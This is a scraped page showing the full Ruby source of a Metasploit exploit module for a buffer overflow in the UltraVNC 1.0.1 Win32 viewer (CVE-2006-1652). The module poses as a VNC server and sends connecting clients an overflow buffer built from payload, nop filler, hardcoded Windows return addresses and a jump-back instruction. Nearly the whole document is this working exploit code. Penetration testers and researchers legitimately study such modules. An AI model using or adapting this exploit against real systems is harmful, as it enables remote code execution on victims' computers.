Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/vnc/ultravnc_client.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(update_info(info,12'Name' => 'UltraVNC 1.0.1 Client Buffer Overflow',13'Description' => %q{14This module exploits a buffer overflow in UltraVNC Win3215Viewer 1.0.1 Release.16},17'Author' => 'MC',18'License' => MSF_LICENSE,19'References' =>20[21[ 'CVE', '2006-1652' ],22[ 'OSVDB', '24456' ],23[ 'BID', '17378' ],24],25'DefaultOptions' =>26{27'EXITFUNC' => 'thread',28},29'Payload' =>30{31'Space' => 500,32'BadChars' => "\x00",33'MaxNops' => 0,34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' =>38[39[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c2ec68b } ],40[ 'Windows XP SP2 English', { 'Ret' => 0x77dc15c0 } ],41[ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],42],43'Privileged' => false,44'DisclosureDate' => '2006-04-04',45'DefaultTarget' => 0))4647register_options(48[49OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])50])51end5253def on_client_connect(client)5455rfb = "RFB 003.006\n"5657client.put(rfb)58end5960def on_client_data(client)61return if ((p = regenerate_payload(client)) == nil)6263filler = make_nops(980 - payload.encoded.length)6465sploit = "\x00\x00\x00\x00\x00\x00\x04\x06" + "Requires Ultr@VNC Authentication\n"66sploit << payload.encoded + filler + [target.ret].pack('V')67sploit << "PASSWORD" + [0xe8, -997].pack('CV')6869print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")70client.put(sploit)7172handler73service.close_client(client)74end75end767778